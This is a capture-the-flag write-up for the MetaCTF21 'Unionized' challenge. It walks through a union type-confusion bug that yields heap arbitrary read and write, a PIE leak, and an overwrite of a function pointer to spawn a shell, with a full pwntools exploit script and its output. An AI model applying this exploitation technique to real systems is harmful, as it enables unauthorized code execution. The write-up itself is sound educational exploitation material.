# Unionized
The description for this challenge is as follows:
*Why didn't anyone tell me about the magic of Unionized when I first started programming? I would have saved so much memory with these nifty things, don't you think? Here try my application and tell me what you think host.cg21.metaproblems.com:3150*
This challenge was worth 275 points, and it was solved by 27 teams. The downloadables for the challenge included the original binary with docker information as well as the C source code. I didn't start looking at this challenge until fairly later in the CTF, so I ended up solving it on my own after the competition window ended. It was reasonably straightforward once the vulnerability was identified and an appropriate debugging environment was set up.
**TL;DR Solution:** Realize that storing the pointers to strings in the same spot as ints, long longs, and chars is a bad idea. If you define a string, edit it to one of the latter data types, edit the string pointer as one of those data types, then edit the index back to being a smaller string. Any attempts to write to or read from that index will look at whetever address is pointed to by your edited string pointer, which gives you an arbitrary read/write. Find the print function pointer in the heap, read from it for a PIE leak, then write the win function to that section of memory and get a shell.
## Original Writeup Link
This writeup is also available on my GitHub! View it there via this link: https://github.com/knittingirl/CTF-Writeups/tree/main/pwn_challs/MetaCTF21/Unionized
## Environment Setup
Because of the heap offsets used in this challenge, it was very helpful to use the same libc as the remote instance. The challenge does include Docker information, so you could run the challenge within a docker instance, but I personally prefer to run things on my actual machine, and I wanted to quickly share my methodology for this if anyone feels similarly.
Firstly, I open up the Dockerfile. The top line is "FROM debian:buster-20200803", so this is image that is being used. I pull the image, then save it to a tar archive for easy export of files:```knittingirl@piglet:~/CTF/metaCTF21/unionized$ sudo docker pull debian:buster-20200803[sudo] password for knittingirl: buster-20200803: Pulling from library/debiand6ff36c9ec48: Pull complete Digest: sha256:1e74c92df240634a39d050a5e23fb18f45df30846bb222f543414da180b47a5dStatus: Downloaded newer image for debian:buster-20200803docker.io/library/debian:buster-20200803knittingirl@piglet:~/CTF/metaCTF21/unionized$ sudo docker images[sudo] password for knittingirl: REPOSITORY                        TAG                   IMAGE ID       CREATED         SIZEdebian                            buster-20200803       ee11c54e6bb7   16 months ago   114MBknittingirl@piglet:~/CTF/metaCTF21/unionized$ sudo docker save ee11c54e6bb7 > buster_files.tar```Then within a file explorer, I go into the back-up, the only layer, and the layer.tar file to reach the base directory of the file system. The libc and interpreter files are in /libx86_64-linux-gnu/, and they are named libc-2.28.so and ld-2.28.so respectively. Then I just copy them to the directory where my unionized binary is, make sure that they each have executable permissions, then use patchelf to set the path to my interpreter in a copy of the binary. See commands below:```knittingirl@piglet:~/CTF/metaCTF21/unionized$ cp chall chall_patchedknittingirl@piglet:~/CTF/metaCTF21/unionized$ patchelf chall_patched --set-interpreter ld-2.28.so --set-rpath ./```Then I just set the LD_PRELOAD environment variable to use the libc-2.28.so file as the libc with that patched binary. The format in pwntools to use that environment variable is:```from pwn import *
target = process('./chall_patched', env={"LD_PRELOAD":"./libc-2.28.so"})```I hope that this makes sense and is helpful if you've been struggling with docker environments and pwn challenges.
## Gathering Information
So, the first step, as always, is to simply run the binary and see what happens. This shows me that I can create objects of various types, after creation, I can edit those objects as the same or different type, I can display object contents, and despite the appearance of the menu, I can't actually delete anything.```knittingirl@piglet:~/CTF/metaCTF21/unionized$ ./challWhat would you like to do?1. Create new object2. Display objects3. Edit Object4. Delete Object5. Exit1What type would you like?
1. String2. Integer3. Long Long4. Character1What size would you like your string to be45What is your dataaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaWhat would you like to do?1. Create new object2. Display objects3. Edit Object4. Delete Object5. Exit2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
What would you like to do?1. Create new object2. Display objects3. Edit Object4. Delete Object5. Exit3What index would you like to modify?0What type would you like?
1. String2. Integer3. Long Long4. Character2What is your value:87Variable createdWhat would you like to do?1. Create new object2. Display objects3. Edit Object4. Delete Object5. Exit287What would you like to do?1. Create new object2. Display objects3. Edit Object4. Delete Object5. Exit4Not implementedWhat would you like to do?1. Create new object2. Display objects3. Edit Object4. Delete Object5. Exit```If I run checksec on the binary, I can see that PIE is enabled, as is NX:```knittingirl@piglet:~/CTF/metaCTF21/unionized$ checksec chall[*] '/home/knittingirl/CTF/metaCTF21/unionized/chall'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled```At this point, I am ready to start reverse engineering using the generously provided C-source code. The created struct stands out immediately. It contains a union with all of the types we can use, which should be relevant based on the challenge name. It also includes a function pointer, which tends to be a target in heap-based challenges since these pointers present an easy location to overwrite.```struct created{	int type;	int size;
	union Variable {		char * string;		int integer;		long long long_boi;		char character;
	} variable;	void (*print)();	struct created *next;};```Another obvious point of interest is the win() function. I will also note that the delete() function genuinely just does nothing aside from a puts.```void win(){	system("/bin/sh");}
void delete(){	puts("Not implemented");	return;}```The main exploit is a little bit harder to spot. The create_variable() function is called by both the create() and edit() functions in order to select an input type and input contents. If I look at the case for string types, it checks if the currently requested string length exceeds that of any length entered previously for this specific object at this index. If it does, it will make a fresh, appropriately sized malloc, and the variable section of the struct will be overwritten with the pointer to that mallocced section. However, if the requested length is shorter, no fresh allocation will be made, and the string will be allocated to whatever the variable pointer is pointing to. ```case 1:				while(1){					printf("What size would you like your string to be\n");					scanf("%d", &size);					if(tmp->size < size)					{						tmp->variable.string = malloc(size);						tmp->size = size;					}					if(!tmp->variable.string){						printf("Allocation failed Try again\n");						sleep(1);						continue;					}						break;				}				printf("What is your data\n");				read(0, tmp->variable.string, tmp->size);				tmp->type = 1;				tmp->print = display_string; 				break;```Since variable is a union that can be switched to various types, this is a very severe problem. For example, if I make object 0 a string of length 55, then I make it an int whose value is 0x5565, then try to make object 0 a string again, this time with length 35, it will not allocate a new spot on the heap for my heap contents. Instead, it will try to write to the address of 0x5565; if that is not allocated memory, then we can expect a segfault. Here is that sequence of events in practice:```knittingirl@piglet:~/CTF/metaCTF21/unionized$ ./challWhat would you like to do?1. Create new object2. Display objects3. Edit Object4. Delete Object5. Exit1What type would you like?
1. String2. Integer3. Long Long4. Character1What size would you like your string to be55What is your dataaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaWhat would you like to do?1. Create new object2. Display objects3. Edit Object4. Delete Object5. Exit3What index would you like to modify?0What type would you like?
1. String2. Integer3. Long Long4. Character2What is your value:21861Variable createdWhat would you like to do?1. Create new object2. Display objects3. Edit Object4. Delete Object5. Exit3What index would you like to modify?0What type would you like?
1. String2. Integer3. Long Long4. Character1What size would you like your string to be35What is your databbbbbbbbbbbbbbbbbbbbbbVariable createdWhat would you like to do?1. Create new object2. Display objects3. Edit Object4. Delete Object5. Exit2Segmentation fault```## Planning the Exploit:
This exploit presents a fairly obvious opportunity for an arbitrary write; however, the presence of PIE as a defense means that I cannot, for instance, simply overwrite a GOT entry with my win function, because I do not know where the GOT is. As a result, I decided to look into a partial-overwrite strategy. If I edit strings to chars and back again, that should only overwrite the least-significant bit in my pointer. If I break on the create_variable function in GDB/GEF, as called from an edit, I can see that, if I am not overwriting anything, the string is read into a heap location as expected. In one specific instance, it is getting read into the address 0x000055e909e09290. If I then look at all the addresses with the same seven most significant bytes, i.e. ones I could write to instead by overwriting the least significant byte with a char, I see that the address for the print function pointer from the struct definition, where the address for display_string is stored in this case, is kept at 0x55e909e09270.```read@plt (   $rdi = 0x0000000000000000,   $rsi = 0x000055e909e09290 → "00000000000000000000",   $rdx = 0x0000000000000014)...gef➤  x/40gx 0x000055e909e092000x55e909e09200:	0x0000000000000000	0x00000000000000000x55e909e09210:	0x0000000000000000	0x00000000000000000x55e909e09220:	0x0000000000000000	0x00000000000000000x55e909e09230:	0x0000000000000000	0x00000000000000000x55e909e09240:	0x0000000000000000	0x00000000000000000x55e909e09250:	0x0000000000000000	0x00000000000000310x55e909e09260:	0x0000001400000001	0x000055e909e092900x55e909e09270:	0x000055e909de7226	0x00000000000000000x55e909e09280:	0x0000000000000000	0x00000000000000210x55e909e09290:	0x3030303030303030	0x30303030303030300x55e909e092a0:	0x0000000030303030	0x0000000000020d610x55e909e092b0:	0x0000000000000000	0x00000000000000000x55e909e092c0:	0x0000000000000000	0x00000000000000000x55e909e092d0:	0x0000000000000000	0x00000000000000000x55e909e092e0:	0x0000000000000000	0x00000000000000000x55e909e092f0:	0x0000000000000000	0x00000000000000000x55e909e09300:	0x0000000000000000	0x00000000000000000x55e909e09310:	0x0000000000000000	0x00000000000000000x55e909e09320:	0x0000000000000000	0x00000000000000000x55e909e09330:	0x0000000000000000	0x0000000000000000gef➤  x/i 0x000055e909de7226   0x55e909de7226 <display_string>:	push   rbp```If I also look at the display function, I can see that the display_string function is called because it is the function pointed to at this heap address; the contents of rax+10 are that heap address, those contents are loaded into rdx, and rdx is called.``` → 0x55e909de7653 <display+32>     mov    rdx, QWORD PTR [rax+0x10]   0x55e909de7657 <display+36>     mov    rax, QWORD PTR [rbp-0x8]   0x55e909de765b <display+40>     mov    rdi, rax   0x55e909de765e <display+43>     mov    eax, 0x0   0x55e909de7663 <display+48>     call   rdx   0x55e909de7665 <display+50>     add    DWORD PTR [rbp-0xc], 0x1─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "chall_patched", stopped 0x55e909de7653 in display (), reason: SINGLE STEP───────────────────────────────────────────────────────────────────── trace ────[#0] 0x55e909de7653 → display()[#1] 0x55e909de7769 → main()────────────────────────────────────────────────────────────────────────────────gef➤  x/gx $rax+0x100x55e909e09270:	0x000055e909de7226gef➤  x/i win   0x55e909de7680 <win>:	push   rbp```Here is the script so far to get these outputs:```from pwn import *
target = process('./chall_patched', env={"LD_PRELOAD":"./libc-2.28.so"})
pid = gdb.attach(target, "b *display+32\nb *create_variable+314\n set disassembly-flavor intel\ncontinue")
#target = remote('host.cg21.metaproblems.com', 3150)
elf = ELF('chall')
def create_string(length, content):
	print(target.recvuntil(b'5. Exit'))	target.sendline(b'1')	print(target.recvuntil(b'What type would you like?'))	target.sendline(b'1')	print(target.recvuntil(b'like your string to be'))	target.sendline(str(length))	print(target.recvuntil(b'data'))	target.sendline(content)
def edit_char(index, character):	print(target.recvuntil(b'5. Exit'))	target.sendline(b'3')	print(target.recvuntil(b'What index would you like to modify'))	target.sendline(str(index))	print(target.recvuntil(b'What type would you like?'))	target.sendline(b'4')	print(target.recvuntil(b'What is your value:'))	target.sendline(character)
def edit_string(index, length, data):	print(target.recvuntil(b'5. Exit'))	target.sendline(b'3')
	print(target.recvuntil(b'What index would you like to modify'))	target.sendline(str(index))
	print(target.recvuntil(b'What type would you like?'))	target.sendline(b'1')
	print(target.recvuntil(b'like your string to be'))	target.sendline(str(length))
	print(target.recvuntil(b'data'))	target.sendline(data)
def display():	print(target.recvuntil(b'5. Exit\n'))	target.sendline(b'2')
create_string(20, '0' * 20)edit_string(0, 15, b'a' * 15)
display()
target.interactive()```At this point, I have two options for my approach. I could attempt a partial overwrite of the print function pointer with the win function; however, the low two bytes of the functions differ, and only the low three nibbles of win will be known between executions, so I will have to guess one nibble for 1/16 odds of success. This is not bad, and if I did not have an alternative idea, I would have implemented this.
However, I realized that in addition to an arbitrary write, I should be able to get an arbitrary read. I can simply use the string to char to string method to input a string of length zero to the heap offset that contains the display_string address, then use the display option to read that unedited address. I use this to get a PIE leak and find the win function's address, and from there, I can write the win function to the print pointer, overwriting the display_string address. 
# Writing the Exploit
One final note of housekeeping is that if you want to overwrite the print address, you do need to create a second string to char to string object and use that to overwrite the display_string address of the first object. This is becausse the display_string address is written to the print pointer after I write in the contents of my string, so if I try to overwrite the print pointer of the object I am currently editing, my efforts will be overwritten and nothing will happen. I have since realized that since there is only partial RELRO, I should also be able to just overwrite a GOT function like puts with my win function and also get a shell now that I have a PIE leak.
Here is my finished script:```from pwn import *
#target = process('./chall_patched', env={"LD_PRELOAD":"./libc-2.28.so"})
#pid = gdb.attach(target, "b *display+32\nb *create_variable+314\n set disassembly-flavor intel\ncontinue")
target = remote('host.cg21.metaproblems.com', 3150)
elf = ELF('chall')
def create_string(length, content):
	print(target.recvuntil(b'5. Exit'))	target.sendline(b'1')	print(target.recvuntil(b'What type would you like?'))	target.sendline(b'1')	print(target.recvuntil(b'like your string to be'))	target.sendline(str(length))	print(target.recvuntil(b'data'))	target.sendline(content)
def edit_char(index, character):	print(target.recvuntil(b'5. Exit'))	target.sendline(b'3')	print(target.recvuntil(b'What index would you like to modify'))	target.sendline(str(index))	print(target.recvuntil(b'What type would you like?'))	target.sendline(b'4')	print(target.recvuntil(b'What is your value:'))	target.sendline(character)
def edit_string(index, length, data):	print(target.recvuntil(b'5. Exit'))	target.sendline(b'3')
	print(target.recvuntil(b'What index would you like to modify'))	target.sendline(str(index))
	print(target.recvuntil(b'What type would you like?'))	target.sendline(b'1')
	print(target.recvuntil(b'like your string to be'))	target.sendline(str(length))
	print(target.recvuntil(b'data'))	target.sendline(data)
def display():	print(target.recvuntil(b'5. Exit\n'))	target.sendline(b'2')
create_string(20, '0' * 20)create_string(20, '1' * 20)
edit_char(0, b'\x70')edit_string(0, 0, b'')
display()
leak = target.recv(6)print(leak)display_string = u64(leak + b'\x00' * 2)print(hex(display_string))
pie_base = display_string - elf.symbols['display_string']win = pie_base + elf.symbols['win']print(hex(win))
#Round 2: 
edit_char(1, b'\x70')
edit_string(1, 8, p64(win))
display()
target.interactive()```And here are the results:```knittingirl@piglet:~/CTF/metaCTF21/unionized$ python3 unionized_writeup.py [+] Opening connection to host.cg21.metaproblems.com on port 3150: Done[*] '/home/knittingirl/CTF/metaCTF21/unionized/chall'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabledb'What would you like to do?\n1. Create new object\n2. Display objects\n3. Edit Object\n4. Delete Object\n5. Exit'b'\nWhat type would you like?'b'\n\n1. String\n2. Integer\n3. Long Long\n4. Character\nWhat size would you like your string to be'b'\nWhat is your data'b'\nWhat would you like to do?\n1. Create new object\n2. Display objects\n3. Edit Object\n4. Delete Object\n5. Exit'b'\nWhat type would you like?'b'\n\n1. String\n2. Integer\n3. Long Long\n4. Character\nWhat size would you like your string to be'b'\nWhat is your data'b'\nWhat would you like to do?\n1. Create new object\n2. Display objects\n3. Edit Object\n4. Delete Object\n5. Exit'b'\nWhat index would you like to modify'b'?\nWhat type would you like?'b'\n\n1. String\n2. Integer\n3. Long Long\n4. Character\nWhat is your value:'b'\nVariable created\nWhat would you like to do?\n1. Create new object\n2. Display objects\n3. Edit Object\n4. Delete Object\n5. Exit'b'\nWhat index would you like to modify'b'?\nWhat type would you like?'b'\n\n1. String\n2. Integer\n3. Long Long\n4. Character\nWhat size would you like your string to be'b'\nWhat is your data'b'\nVariable created\nWhat would you like to do?\n1. Create new object\n2. Display objects\n3. Edit Object\n4. Delete Object\n5. Exit\n'b'&r2\x9b$V'0x56249b3272260x56249b327680b'\n11111111111111111111\nWhat would you like to do?\n1. Create new object\n2. Display objects\n3. Edit Object\n4. Delete Object\n5. Exit'b'\nWhat index would you like to modify'b'?\nWhat type would you like?'b'\n\n1. String\n2. Integer\n3. Long Long\n4. Character\nWhat is your value:'b'\nVariable created\nWhat would you like to do?\n1. Create new object\n2. Display objects\n3. Edit Object\n4. Delete Object\n5. Exit'b'\nWhat index would you like to modify'b'?\nWhat type would you like?'b'\n\n1. String\n2. Integer\n3. Long Long\n4. Character\nWhat size would you like your string to be'b'\nWhat is your data'b'\nVariable created\nWhat would you like to do?\n1. Create new object\n2. Display objects\n3. Edit Object\n4. Delete Object\n5. Exit\n'[*] Switching to interactive mode$ lschallchall.shflag.txt$ cat flag.txtMetaCTF{Unions_Can_Be_Problematic}```Thanks for reading!